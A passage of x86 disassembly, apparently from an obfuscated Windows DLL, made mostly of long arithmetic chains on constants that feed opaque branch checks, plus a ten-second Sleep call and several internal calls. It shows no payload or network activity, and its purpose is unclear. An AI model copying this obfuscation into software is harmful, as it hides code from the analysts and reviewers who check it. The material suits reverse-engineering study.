cmp dword [ecx], 0
setne cl
mov byte [esi + 0x27], cl
cmp eax, 0x8cb75da2
je 0x10050ece
mov al, byte [esi + 0x27]
test al, 1
jne 0x1004ead8
jmp 0x1004ee6b
mov eax, dword [0x100be964]
xor eax, dword [0x100be968]
and eax, 0xa8683797
and eax, 0x67a1f3c
and eax, 0x68a73092
or eax, 0x655d00cd
xor eax, 0x77b95fa4
imul eax, eax, 0x5b5ecfba
and eax, 0xed0fd946
imul eax, eax, 0x25517e25
sub eax, 0x64e84a20
or eax, 0x76b8508
xor eax, 0xf59990f2
mov ecx, 0x4d096f3c
xor edx, edx
div ecx
sub eax, 0xd2e63563
and eax, 0xb94a2414
sub eax, 0xfa8250e0
or eax, 0x5e96c39d
add eax, 0x24477b90
add eax, 0x5d441878
imul eax, eax, 0xa58e2d4a
xor eax, 0x73c62aff
xor eax, 0x87b69aef
or eax, 0x6e047df3
and eax, 0x8c0e0d70
and eax, 0xdf571108
xor eax, 0x49ddcc3a
imul eax, eax, 0x94ba1367
xor eax, 0xf778b2f
or eax, 0x1477c10
mov ecx, 0xeea351cd
xor edx, edx
div ecx
sub eax, 0xb1fe70a1
add eax, 0x87af6607
or eax, 0xcfa7cde4
imul eax, eax, 0xaa4226ba
or eax, 0xe9006677
add eax, 0xca81db88
add eax, 0x3499d0b4
mov ecx, 0xdb205ddf
xor edx, edx
div ecx
add eax, 0xf66917ad
sub eax, 0xd0e02caa
xor eax, 0x3c8b0777
add eax, 0xb5b5422c
imul eax, eax, 0x9edc77fb
or eax, 0xab4fc2e
imul eax, eax, 0x45d3cfe2
or eax, 0x5dc37dab
and eax, 0x728bdaac
xor eax, 0xfb21f6d6
and eax, 0xd4b186b8
imul eax, eax, 0xf50c7b2c
sub eax, 0xba5c8280
mov ecx, 0x1c7cd3ce
xor edx, edx
div ecx
imul eax, eax, 0x9980abe
and eax, 0x75503b15
imul eax, eax, 0x56b3f871
or eax, 0x8b4344db
and eax, 0x5cae3e8e
sub eax, 0x631a1536
mov ecx, 0x331a9302
xor edx, edx
div ecx
imul eax, eax, 0x775ab896
mov ecx, 0x6b22f8c0
xor edx, edx
div ecx
and eax, 0x626c6baa
or eax, 0x8bcc0408
or eax, 0x5237aebf
imul eax, eax, 0x1551b865
imul eax, eax, 0x2b007bfb
add eax, 0xdc914e7c
sub eax, 0x927f67b3
and eax, 0xacd31742
and eax, 0xd3d4d9b
or eax, 0x8b8da281
or eax, 0x92941ecf
sub eax, 0xdc998afd
cmp eax, 0x51cd13af
je 0x10050f3d
mov eax, dword [0x100be96c]
add eax, dword [0x100be970]
xor eax, 0xe697b112
xor eax, 0x54d60261
or eax, 0xca069989
and eax, 0xb11ca670
or eax, 0x857c376e
and eax, 0xacdf5ab5
imul eax, eax, 0x1c6f44a2
xor eax, 0x8ab578a9
xor eax, 0x2f4ce062
mov ecx, 0x6a5f9f73
xor edx, edx
div ecx
and eax, 0xe7e5d2fc
add eax, 0x1d4520ee
or eax, 0xe12fbaaa
add eax, 0xa5d6d48
add eax, 0x498cf728
mov ecx, 0xf10ec9a
xor edx, edx
div ecx
sub eax, 0x198ad9c3
or eax, 0x5a0e45a2
imul eax, eax, 0x1e4efec8
and eax, 0xf7212f4f
and eax, 0x1a8be4d
and eax, 0xc2576243
xor eax, 0x8529c45c
and eax, 0x8adea5f6
or eax, 0x16e91a5a
xor eax, 0xefae7e16
imul eax, eax, 0xeb99c3cd
and eax, 0xab0fbc92
add eax, 0x3db76326
or eax, 0x8be3ead3
sub eax, 0xf1207ba5
or eax, 0x1695b8bc
imul eax, eax, 0x9a89719e
or eax, 0x39bd97e2
xor eax, 0x260398b
or eax, 0x417527d0
or eax, 0x82cd2e3b
xor eax, 0xffc83e6b
xor eax, 0x3274e6b2
sub eax, 0x22d17c7a
or eax, 0xead2a20b
xor eax, 0x993d0fbf
or eax, 0x971beb9d
imul eax, eax, 0x46036835
mov ecx, 0x5d3e7537
xor edx, edx
div ecx
and eax, 0x4a35c856
add eax, 0xa125161b
add eax, 0xf20b6a02
mov ecx, 0xc22bf56
xor edx, edx
div ecx
or eax, 0xc2649433
and eax, 0xf99e1225
and eax, 0x1340d4b3
imul eax, eax, 0x63169a5f
and eax, 0x32e716ce
add eax, 0xeb3cda13
or eax, 0x9be440a6
xor eax, 0x84b561a8
or eax, 0xdf51232
mov ecx, 0x589a8b9d
xor edx, edx
div ecx
mov ecx, 0x376287ea
xor edx, edx
div ecx
imul eax, eax, 0xad368090
sub eax, 0xdfa01ec4
mov ecx, 0xd19d04b0
xor edx, edx
div ecx
xor eax, 0x53bf1e6b
mov ecx, 0x9253d854
xor edx, edx
div ecx
or eax, 0x8fdd1db4
and eax, 0xacc02ede
mov ecx, 0x54a25ec0
xor edx, edx
div ecx
and eax, 0xebc3ae39
xor eax, 0x5c1671e6
and eax, 0x4c3147f9
and eax, 0xa6116ffc
mov dword [esi + 0x1c], eax
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x48]
mov edx, dword [esi + 0x4c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1004c4b0
mov ecx, dword [esi + 0x40]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x1c]
mov dword [ecx], edx
cmp eax, 0x5309e11d
ja 0x10050f3d
jmp 0x10050c41
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.10028590
add esp, 0xc
mov eax, dword [esi + 0xf8]
cmp dword [eax], 0
je 0x1004f2bd
mov eax, dword [0x100be974]
imul eax, dword [0x100be978]
sub eax, 0x4dca2a4c
add eax, 0xa2e96a5b
imul eax, eax, 0xe4f7d2d6
mov ecx, 0x4069a4df
xor edx, edx
div ecx
or eax, 0x5458a2d5
xor eax, 0x4f0e1aa7
imul eax, eax, 0x29530c19
add eax, 0xc2ef0a25
imul eax, eax, 0x7637ecdd
or eax, 0x92d6b70c
and eax, 0x4edad236
xor eax, 0x43cd1e9e
sub eax, 0x1fe49bb8
or eax, 0xdac72852
or eax, 0x1a0259da
and eax, 0x8f7bd016
imul eax, eax, 0xef72c699
sub eax, 0x3770413c
mov ecx, 0xabe3b08a
xor edx, edx
div ecx
imul eax, eax, 0xce50fc92
mov ecx, 0xd9d684c5
xor edx, edx
div ecx
or eax, 0x38505971
or eax, 0xf91ea316
and eax, 0xdec42db3
imul eax, eax, 0x614ea79d
imul eax, eax, 0xec8f29e4
sub eax, 0xc5f590e9
mov ecx, 0x69306f8e
xor edx, edx
div ecx
or eax, 0x28cd906d
sub eax, 0x49404428
sub eax, 0x47bae6db
xor eax, 0xdb63e9ef
or eax, 0x99f2cd5f
imul eax, eax, 0x3d7661c6
mov ecx, 0x654ecd7c
xor edx, edx
div ecx
add eax, 0x48442ff7
or eax, 0xf82943f8
or eax, 0x45186bc6
mov ecx, 0xfcbfc22e
xor edx, edx
div ecx
mov ecx, 0x47422d9d
xor edx, edx
div ecx
and eax, 0xeb34ab96
imul eax, eax, 0xdec0d2dc
mov ecx, 0x15728c96
xor edx, edx
div ecx
sub eax, 0xb86e511c
add eax, 0x316dd810
imul eax, eax, 0x10b7844d
imul eax, eax, 0x7b8cb214
sub eax, 0x4455277
and eax, 0x5a04a66b
sub eax, 0xa3473134
sub eax, 0x4347e431
xor eax, 0x53d9c609
mov ecx, 0xc7d4c64a
xor edx, edx
div ecx
or eax, 0x11e17e79
imul eax, eax, 0x658f608
xor eax, 0xeddeb8f0
sub eax, 0xca25a138
sub eax, 0xde96cd26
or eax, 0x85202670
imul eax, eax, 0xf7db4b9e
or eax, 0xfd464e87
imul eax, eax, 0xf2918565
sub eax, 0x60ba8290
or eax, 0x93a8826b
mov ecx, 0x42d86fa2
xor edx, edx
div ecx
mov ecx, 0xd22850d1
xor edx, edx
div ecx
imul eax, eax, 0x4c23ce30
and eax, 0xac849f8c
imul eax, eax, 0xa5d08ea
and eax, 0x1090f09b
or eax, 0x31430b74
mov ecx, 0x2ab8a6a0
xor edx, edx
div ecx
cmp eax, 0xb057f2a8
ja 0x10050f7e
mov ecx, dword [esi + 0x44]
mov eax, dword [0x100be97c]
and eax, dword [0x100be980]
and eax, 0x7e6240c9
sub eax, 0x3528cf63
and eax, 0x3cd40479
imul eax, eax, 0xa6d5cea6
add eax, 0x895e93f0
or eax, 0xa02b4016
mov edi, 0x4632ea64
xor edx, edx
div edi
imul eax, eax, 0xcfea7c00
sub eax, 0xdb5a736b
mov edi, 0x144d8f6b
xor edx, edx
div edi
sub eax, 0x96cbfc63
imul eax, eax, 0x68af433a
mov edi, 0xe37c95e5
xor edx, edx
div edi
mov edi, 0xdb7b9d3
xor edx, edx
div edi
mov edi, 0x5098700e
xor edx, edx
div edi
or eax, 0xe92b9452
imul eax, eax, 0x487581c5
add eax, 0x50113595
mov edi, 0x33064e39
xor edx, edx
div edi
or eax, 0xf2660b6c
sub eax, 0x5f3c034b
add eax, 0x5ce04145
add eax, 0xc5eff019
imul eax, eax, 0xd5a8fe95
xor eax, 0x2a5c99e1
and eax, 0xaeaad718
add eax, 0x78143159
mov edi, 0xd0bf96ba
xor edx, edx
div edi
and eax, 0xb1ce49e5
mov edi, 0x635b9685
xor edx, edx
div edi
and eax, 0x3c93734d
sub eax, 0x7490e0a0
imul eax, eax, 0x82a56d4e
or eax, 0x10ca5627
sub eax, 0x46a26a51
add eax, 0x9a677f48
and eax, 0xf056a352
or eax, 0x8fa14f81
xor eax, 0x46e40dbe
and eax, 0x5c7a6739
and eax, 0xad02a381
xor eax, 0xb620132a
and eax, 0xa2ee3a92
mov edi, 0x316abfe1
xor edx, edx
div edi
and eax, 0xc9117c1
mov edi, 0x3c3ff90d
xor edx, edx
div edi
imul eax, eax, 0x4d0ba0a0
add eax, 0xb1f846bf
mov edi, 0xdd1cbdb6
xor edx, edx
div edi
or eax, 0x68e1393e
and eax, 0xbdefb173
sub eax, 0xbb804740
xor eax, 0x38cc9e30
or eax, 0xe1d87528
and eax, 0x96baef2d
mov edi, 0xa451c272
xor edx, edx
div edi
mov edi, 0x1fe27c65
xor edx, edx
div edi
imul eax, eax, 0xac6e6556
xor eax, 0x8af8200d
mov edi, 0xac1ac3ac
xor edx, edx
div edi
mov edi, 0x78412c1e
xor edx, edx
div edi
sub eax, 0x5e3da998
mov edi, 0x11bcbb39
xor edx, edx
div edi
xor eax, 0x8b4d8f6
imul eax, eax, 0x9133c4fe
sub eax, 0x19679e8d
mov edi, 0xb85abdbd
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0xec]
sub edx, 0x473cd7a2
or edx, 0xed081d5f
add edx, 0xc279005b
sub edx, 0xbfbad12a
add edx, 0xde4ebdd5
mov dword [esi + 0x18], edx
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1003d060
mov ecx, dword [esi + 0xfc]
mov edx, dword [esi + 0x44]
add esp, 0xc
mov eax, dword [esi + 0xec]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1003d060
add esp, 0xc
mov eax, dword [esi + 0x44]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10066f81
mov ecx, dword [esi + 0x48]
add esp, 4
mov edx, eax
mov eax, dword [esi + 0x18]
mov ecx, dword [ecx]
mov dword [ecx], edx
cmp eax, 0x83f8b235
jbe 0x10050f7e
jmp 0x1004f2bd
mov eax, dword [0x100be984]
xor edx, edx
div dword [0x100be988]
and eax, 0xa4095c55
or eax, 0x396f637d
sub eax, 0xab8bde21
sub eax, 0x53e67163
or eax, 0x8cdf1be4
sub eax, 0xd4ffd2bf
mov ecx, 0xb36106b7
xor edx, edx
div ecx
sub eax, 0xbae48a4e
imul eax, eax, 0x4e974ecd
and eax, 0x244a0584
mov ecx, 0x4b6f9efb
xor edx, edx
div ecx
sub eax, 0x2508e8a7
or eax, 0x733463d1
imul eax, eax, 0x64d15a5d
mov ecx, 0x7fb02ebb
xor edx, edx
div ecx
xor eax, 0x656e4980
sub eax, 0xc8bf0244
and eax, 0x5eba291b
mov ecx, 0xb647e39
xor edx, edx
div ecx
sub eax, 0xddc419bf
and eax, 0xc988fc44
add eax, 0xbf4ca582
sub eax, 0x55bb438b
add eax, 0x77f1d78e
mov ecx, 0x9f798afe
xor edx, edx
div ecx
or eax, 0x16567b0a
imul eax, eax, 0xb6d34a78
sub eax, 0x73b5ab59
add eax, 0x1bf6e344
sub eax, 0x7317e5f5
or eax, 0x707ecc3
mov ecx, 0xb36e9bb
xor edx, edx
div ecx
imul eax, eax, 0xaa81e0b0
or eax, 0xfb993f9c
xor eax, 0x88ad0099
imul eax, eax, 0xa2b625d
and eax, 0x39321031
xor eax, 0x44629594
mov ecx, 0x4e896623
xor edx, edx
div ecx
mov ecx, 0x609d5885
xor edx, edx
div ecx
sub eax, 0xb331509d
or eax, 0xa102ca47
sub eax, 0x7249590
sub eax, 0x2f3daefd
sub eax, 0xd89a1cfa
xor eax, 0xe3b2578b
add eax, 0xe7e46344
xor eax, 0xe2d890c5
sub eax, 0x86a0bf30
or eax, 0x89d401c1
and eax, 0xcd8bc7fe
and eax, 0xa63a19e2
imul eax, eax, 0x79ad323c
mov ecx, 0x4908bba8
xor edx, edx
div ecx
or eax, 0xe15cd885
mov ecx, 0x98695102
xor edx, edx
div ecx
imul eax, eax, 0x9ca7eef2
xor eax, 0xb0f76b04
or eax, 0x94598332
imul eax, eax, 0xed677843
mov ecx, 0x21d9c5e1
xor edx, edx
div ecx
and eax, 0xe0df5bab
or eax, 0x359a14ac
mov ecx, 0x5f3bc6e9
xor edx, edx
div ecx
and eax, 0x75a4ec03
and eax, 0x53da17db
xor eax, 0x568f6ce4
and eax, 0xbc81f8c
imul eax, eax, 0xb57059cb
mov ecx, 0xebffcd62
xor edx, edx
div ecx
or eax, 0x9d2a540f
and eax, 0xb4353946
cmp eax, 0xe2e862a5
ja 0x10051008
mov ecx, dword [esi + 0x10c]
mov eax, dword [0x100be98c]
or eax, dword [0x100be990]
or eax, 0x8eafdea2
or eax, 0x8d4b4b73
add eax, 0x7c1c82d5
xor eax, 0x27f40931
xor eax, 0xd76f4a1e
add eax, 0x52ec52a1
imul eax, eax, 0x17256701
imul eax, eax, 0x78774769
xor eax, 0x63c544c4
sub eax, 0xe59d7892
mov edi, 0xe547096d
xor edx, edx
div edi
xor eax, 0x84df2a36
sub eax, 0xe99226e4
xor eax, 0x8afcb6e
add eax, 0x75a7bce1
mov edi, 0xbb97b0f4
xor edx, edx
div edi
xor eax, 0x44c622fb
xor eax, 0xdb39691b
mov edi, 0xf041e3d2
xor edx, edx
div edi
add eax, 0xacdbcc0
and eax, 0x3c08ac62
xor eax, 0xc5ccb495
sub eax, 0xb968df33
xor eax, 0x77768862
or eax, 0x145af72b
add eax, 0x343abbb3
and eax, 0xaae2deeb
and eax, 0x93bd7e07
or eax, 0x179da973
mov edi, 0x25e51aa2
xor edx, edx
div edi
xor eax, 0xdc768ab4
mov edi, 0x3e82308f
xor edx, edx
div edi
xor eax, 0x2dc8548a
add eax, 0x8bbb9db0
imul eax, eax, 0xca9dd4ab
add eax, 0x61e6f189
imul eax, eax, 0x6f1a6a67
add eax, 0xfb55a5f9
sub eax, 0x773f9129
add eax, 0x8f27bf2d
add eax, 0x6a9e1a4b
and eax, 0xd67dc4db
add eax, 0x8f6e6204
and eax, 0xc8873ee9
and eax, 0xf42bee14
xor eax, 0xe81ef810
add eax, 0x8de726fc
imul eax, eax, 0x6ffa46d7
sub eax, 0xfbad31a4
xor eax, 0xed508e40
imul eax, eax, 0xc68bda30
xor eax, 0x48837efd
mov edi, 0x431fe914
xor edx, edx
div edi
imul eax, eax, 0x9ed345d4
or eax, 0x59aa9976
add eax, 0x5a26d20f
or eax, 0x397c8108
add eax, 0x29b6bdd0
mov edi, 0xa6bf4f05
xor edx, edx
div edi
and eax, 0x1c0f082e
and eax, 0xe38f2071
imul eax, eax, 0x2834cbe9
sub eax, 0x4d4badd3
xor eax, 0x17456f64
xor eax, 0x8d889b97
mov edi, 0x57f5b978
xor edx, edx
div edi
xor eax, 0x77579819
or eax, 0xc22ac614
or eax, 0x4fa710a2
mov edi, 0x5c5052e1
xor edx, edx
div edi
and eax, 0x4f006cd5
sub eax, 0x727b4cea
mov dword [ecx], 0
cmp eax, 0xcec4114c
je 0x1004f47a
jmp 0x1004f635
mov eax, dword [0x100be994]
and eax, dword [0x100be998]
and eax, 0xebc3f07e
add eax, 0x9d8c0181
sub eax, 0x910f1fa8
imul eax, eax, 0x83a2db79
add eax, 0xabd3c3b3
or eax, 0xa548200f
mov ecx, 0x33d2cba
xor edx, edx
div ecx
or eax, 0xe5d57ba6
and eax, 0x8d4d0ae7
xor eax, 0x82a57409
and eax, 0xc2233840
or eax, 0x4e0eee76
imul eax, eax, 0x5b10da58
sub eax, 0xe83ff19a
or eax, 0xd2448f9d
imul eax, eax, 0x9656d7e0
imul eax, eax, 0x8d3cb82
xor eax, 0x7efbd690
and eax, 0x49c098b
xor eax, 0x27c65d4
or eax, 0xbb94a59c
or eax, 0xd21e1136
mov ecx, 0x532f20d0
xor edx, edx
div ecx
xor eax, 0xce8041ad
sub eax, 0x53950f0f
mov ecx, 0x40fb8b9e
xor edx, edx
div ecx
sub eax, 0xedc425e3
mov ecx, 0x9f0bc4b5
xor edx, edx
div ecx
sub eax, 0xcd578f02
or eax, 0x47a9baf2
xor eax, 0x2d318955
or eax, 0xc545d730
xor eax, 0xfbcb919f
or eax, 0x570383f2
mov ecx, 0x1ecc3682
xor edx, edx
div ecx
mov ecx, 0xb744897b
xor edx, edx
div ecx
xor eax, 0xe66f9810
and eax, 0xd9a0a0fe
xor eax, 0xaf7004ec
add eax, 0xee391d70
mov ecx, 0xfca9339
xor edx, edx
div ecx
imul eax, eax, 0x2f4cb81a
mov ecx, 0x238a423f
xor edx, edx
div ecx
and eax, 0x3a26423c
or eax, 0x4dac4811
and eax, 0x914b0c72
sub eax, 0xa31c8fee
mov ecx, 0xcdd55b06
xor edx, edx
div ecx
sub eax, 0x1c0320b2
and eax, 0x691c3079
or eax, 0x3c34266
or eax, 0xd614ac46
mov ecx, 0xc4da3f15
xor edx, edx
div ecx
mov ecx, 0x431f4ec0
xor edx, edx
div ecx
imul eax, eax, 0xfbfc10b8
mov ecx, 0xeaf1c2f8
xor edx, edx
div ecx
and eax, 0x1b3a8624
sub eax, 0xf6830334
or eax, 0x50719f2f
mov ecx, 0x91c482e3
xor edx, edx
div ecx
and eax, 0x6744129f
xor eax, 0xaa4feb07
imul eax, eax, 0xe5757519
and eax, 0x7d67197c
mov ecx, 0x6e9c72eb
xor edx, edx
div ecx
imul eax, eax, 0xd2b408c1
xor eax, 0x54fd793e
sub eax, 0xbf5b9384
sub eax, 0xa2b27794
add eax, 0x69f14fa3
and eax, 0xd1f2dc15
add eax, 0x239f82cb
cmp eax, 0xc9501b4e
je 0x10051019
mov ecx, dword [esi + 0x10c]
mov eax, dword [0x100be99c]
and eax, dword [0x100be9a0]
imul eax, eax, 0xd79d3cb8
and eax, 0xf59dad25
or eax, 0x1dfbd038
sub eax, 0x87a76cb7
add eax, 0x73c21234
or eax, 0xb4321842
mov edi, 0x50d6dd6
xor edx, edx
div edi
xor eax, 0xa67c6cea
and eax, 0xf76c8318
add eax, 0x71c5e12e
or eax, 0x4660bc91
add eax, 0xa1c69622
and eax, 0x1f25036d
or eax, 0xeafbca67
imul eax, eax, 0x8d5badc8
mov edi, 0x3fc6330
xor edx, edx
div edi
or eax, 0xb4598908
add eax, 0x6a62dafa
xor eax, 0x70cdd0a9
add eax, 0x6763dc86
mov edi, 0x7562369a
xor edx, edx
div edi
and eax, 0xc689e3cd
and eax, 0x8934e502
xor eax, 0x946be3a1
mov edi, 0x7674dcda
xor edx, edx
div edi
add eax, 0xc9edb013
or eax, 0xd55ca21e
imul eax, eax, 0x83d2f756
mov edi, 0x991ebe00
xor edx, edx
div edi
and eax, 0x8574996
mov edi, 0x87fc65ac
xor edx, edx
div edi
and eax, 0xd38236bf
xor eax, 0x4579656a
add eax, 0xdb872822
and eax, 0x2c68ef9d
sub eax, 0x3695a14c
mov edi, 0xb7fc8e76
xor edx, edx
div edi
add eax, 0x7108ccef
xor eax, 0xb9168161
add eax, 0x22b70fe0
or eax, 0xddf36ce6
and eax, 0x49998e4c
sub eax, 0xc9fe0c4f
add eax, 0x8f3bcccc
mov edi, 0x9ac42916
xor edx, edx
div edi
and eax, 0x5e04fbd6
and eax, 0x93a22c66
or eax, 0x9eec6274
mov edi, 0x94cd375
xor edx, edx
div edi
or eax, 0x20ab7ed4
sub eax, 0x28485839
xor eax, 0xd2fa9eee
and eax, 0xcf7ab056
add eax, 0x43896ef0
xor eax, 0xc56a7a14
add eax, 0x305d8fc8
sub eax, 0x17d43758
add eax, 0x1dbda78c
xor eax, 0xc20e1ef5
sub eax, 0x52b8d627
or eax, 0xb9e5142a
mov edi, 0x248ba4c8
xor edx, edx
div edi
and eax, 0x7e3ddb59
or eax, 0x5f65790d
imul eax, eax, 0x703ea359
and eax, 0x79fe29b9
sub eax, 0x87502ba1
sub eax, 0x2146bdce
or eax, 0x15a98ca0
sub eax, 0xf1d41938
imul eax, eax, 0x10792827
mov edi, 0xf6968c9f
xor edx, edx
div edi
mov edx, dword [esi + 0xf0]
mov ecx, dword [ecx]
cmp ecx, dword [edx]
setl cl
mov byte [esi + 0x17], cl
cmp eax, 0x26a6d94d
je 0x1004f7f3
mov al, byte [esi + 0x17]
test al, 1
jne 0x1004f9c8
jmp 0x1005081a
mov eax, dword [esi + 0xf8]
cmp dword [eax], 0
je 0x1004fd4c
mov eax, dword [esi + 0x10c]
cmp dword [eax], 0x2c
jne 0x1004fd4c
mov eax, dword [0x100be9a4]
xor edx, edx
div dword [0x100be9a8]
add eax, 0x4fbe9c8b
xor eax, 0x610e8c91
xor eax, 0x8f717c37
mov ecx, 0xccf26172
xor edx, edx
div ecx
or eax, 0xbe147ceb
xor eax, 0xe4c01bdb
imul eax, eax, 0xeba9b18
imul eax, eax, 0x76a077
mov ecx, 0x8bcb57ab
xor edx, edx
div ecx
sub eax, 0xb26030b0
imul eax, eax, 0xb683e60b
or eax, 0xba7a5d0b
add eax, 0xa87696f9
and eax, 0x647ef8d4
and eax, 0x5389ab3e
add eax, 0xdb37ea
add eax, 0x21b99f24
sub eax, 0x75b11121
sub eax, 0x6393b0fc
mov ecx, 0xf9251c3e
xor edx, edx
div ecx
add eax, 0xba6c3444
imul eax, eax, 0xd0729adf
xor eax, 0x6e54b76
or eax, 0x39a17107
imul eax, eax, 0xa35b5f11
or eax, 0xe643e11f
mov ecx, 0xa5e0215f
xor edx, edx
div ecx
or eax, 0x68bcdaaa
or eax, 0x4b3e85f0
and eax, 0x4bdd9475
mov ecx, 0x2e8e4e0d
xor edx, edx
div ecx
or eax, 0x20318dcd
imul eax, eax, 0xb6d3a63b
add eax, 0xc8d67e27
sub eax, 0xfd33a78c
add eax, 0xfcd1c933
mov ecx, 0xc0bea366
xor edx, edx
div ecx
or eax, 0x9d06dc06
sub eax, 0xfca163bb
and eax, 0xbb90424
or eax, 0xb5b821ab
xor eax, 0x9ad87219
and eax, 0xf0eaa1d2
and eax, 0x50044574
sub eax, 0xd15b65e9
imul eax, eax, 0x3e4e73a9
mov ecx, 0x5f638bbe
xor edx, edx
div ecx
xor eax, 0x5ed31a8f
or eax, 0xe6efd244
sub eax, 0x9541c26a
imul eax, eax, 0xb43ced4a
imul eax, eax, 0x5317ffb
add eax, 0xea557211
sub eax, 0x190bd21d
add eax, 0x6db7f36d
imul eax, eax, 0x52ff4620
mov ecx, 0x4b0f12e8
xor edx, edx
div ecx
mov ecx, 0xd692a40c
xor edx, edx
div ecx
xor eax, 0x86a26ac7
or eax, 0xd5e0f2d7
or eax, 0xedee411e
or eax, 0xe8dfdbae
sub eax, 0xd5de0768
imul eax, eax, 0x2f5e4b04
mov ecx, 0x61679f4c
xor edx, edx
div ecx
sub eax, 0x1e4bbc0c
imul eax, eax, 0x658a05a
add eax, 0x9d10884b
and eax, 0xa08d2408
or eax, 0x5268c7a7
imul eax, eax, 0x26804602
or eax, 0x8c701b6f
cmp eax, 0xfa662f7a
je 0x1005101e
mov ecx, dword [esi + 0x100]
mov eax, dword [0x100be9ac]
sub eax, dword [0x100be9b0]
add eax, 0xcc423b69
imul eax, eax, 0x749d542d
sub eax, 0xcaf4acd6
sub eax, 0xbb3c277d
and eax, 0xd55539f3
sub eax, 0xf43313be
and eax, 0x377bd2b2
or eax, 0x9e667955
mov edi, 0x698bed4b
xor edx, edx
div edi
sub eax, 0x8218ec0c
add eax, 0x828f2195
imul eax, eax, 0x7c3cf2a7
xor eax, 0xf466069d
sub eax, 0x473a0d74
or eax, 0x679f538f
add eax, 0xe01f0a18
xor eax, 0xd543b9f6
add eax, 0x1e7be7a3
sub eax, 0xbd7959f3
sub eax, 0xd9807a1d
xor eax, 0xfdfbacc
mov edi, 0xa0a1b37a
xor edx, edx
div edi
and eax, 0x598fd7f3
sub eax, 0xcbd9441c
or eax, 0x36876030
mov edi, 0x3ce49d8f
xor edx, edx
div edi
xor eax, 0x91087dea
sub eax, 0x5db8a87a
or eax, 0x5d034f8
imul eax, eax, 0x3577ed53
mov edi, 0x20e75185
xor edx, edx
div edi
and eax, 0x50a2721c
and eax, 0x7474fbd
and eax, 0x196f301b
imul eax, eax, 0xab78b44d
xor eax, 0x5356dc15
sub eax, 0x67c0e06c
add eax, 0x815233cb
imul eax, eax, 0xe49f8a0a
imul eax, eax, 0xb14286c9
xor eax, 0xd389a748
imul eax, eax, 0xff8f5e46
xor eax, 0x4467de1d
or eax, 0x94f8408d
sub eax, 0x76f0ca33
or eax, 0xc7760b6b
xor eax, 0xcf21df88
xor eax, 0x5390bad9
and eax, 0xbbeed9db
and eax, 0xe09e28a1
imul eax, eax, 0x27a8d1d5
or eax, 0x9b40b98d
mov edi, 0xe8be70e4
xor edx, edx
div edi
mov edi, 0x1b179a13
xor edx, edx
div edi
add eax, 0x290b076
add eax, 0xedae3c9f
sub eax, 0xc85de0a7
xor eax, 0x86c8774e
imul eax, eax, 0x13222c1b
sub eax, 0x94958bf0
sub eax, 0xbe7959d6
xor eax, 0x9fa1000
sub eax, 0x19c6247b
xor eax, 0x92021170
sub eax, 0x5ac9e734
and eax, 0x5e5fedfb
or eax, 0x1124eedb
add eax, 0xa2108cd9
imul eax, eax, 0x943e069e
sub eax, 0xe3be6235
xor eax, 0x360d12d5
and eax, 0xec41452e
mov dword [ecx], 0
cmp eax, 0xb8c9c6aa
jbe 0x1005101e
jmp 0x1004fd4c
mov eax, dword [0x100be9b4]
xor edx, edx
div dword [str.Sxx]
mov ecx, 0x204c8588
xor edx, edx
div ecx
imul eax, eax, 0x52b01195
sub eax, 0x5de12b69
and eax, 0xdca3f31f
sub eax, 0xf889f19c
imul eax, eax, 0xa5ed9d59
and eax, 0x22b261d9
imul eax, eax, 0xb319d307
xor eax, 0xb1651bf1
imul eax, eax, 0x6b65cb40
mov ecx, 0xdeb9d06d
xor edx, edx
div ecx
xor eax, 0x65f6975f
or eax, 0x42f089f4
mov ecx, 0x61c543bc
xor edx, edx
div ecx
add eax, 0x35575d1d
imul eax, eax, 0x2baa7b6
imul eax, eax, 0xbd345240
xor eax, 0x43cb1d04
and eax, 0x2314eedb
add eax, 0xe6affec8
sub eax, 0x25cd61c4
mov ecx, 0xa9a2c4ba
xor edx, edx
div ecx
sub eax, 0x13201410
and eax, 0x1701f091
imul eax, eax, 0xa6e8b501
sub eax, 0xe93d5959
xor eax, 0x97f105a8
or eax, 0xa72febb8
xor eax, 0x4b55cfd
and eax, 0x25b79251
mov ecx, 0x19136a0d
xor edx, edx
div ecx
and eax, 0xbbc3c516
xor eax, 0x6ccf82da
or eax, 0x795143d7
mov ecx, 0x52888dee
xor edx, edx
div ecx
or eax, 0xc5e4417c
sub eax, 0xc366178e
add eax, 0x9be351c1
or eax, 0x2bd82e18
imul eax, eax, 0x8917ea2
and eax, 0xd3e36efd
or eax, 0xaff8fb10
mov ecx, 0x9d9e1a91
xor edx, edx
div ecx
xor eax, 0x38e8e7c3
and eax, 0x37c1d721
xor eax, 0x2f4548d5
mov ecx, 0x14dc2185
xor edx, edx
div ecx
xor eax, 0x41343e5a
sub eax, 0xe96e6bd7
and eax, 0x41a2b6ab
imul eax, eax, 0xc7d87351
add eax, 0xe3003925
or eax, 0x38aa229b
imul eax, eax, 0x33f0b7dd
or eax, 0xfd56e26f
or eax, 0xffb1fa36
xor eax, 0x44ded7f9
add eax, 0x78e5fd24
sub eax, 0xe05e57c
sub eax, 0x605396c9
or eax, 0x39103ba9
and eax, 0x3df2fb7f
or eax, 0x4cbcb0ea
add eax, 0xd3a87cbc
sub eax, 0xb24e6374
add eax, 0xa112af78
mov ecx, 0xd14bbc80
xor edx, edx
div ecx
imul eax, eax, 0x4ccca831
add eax, 0x1c728707
mov ecx, 0xfb71e6f
xor edx, edx
div ecx
xor eax, 0x74262a33
or eax, 0x79755d3d
cmp eax, 0x48a1662b
jb 0x1005102f
mov ebx, dword [esi + 0x100]
mov edi, dword [esi + 0x10c]
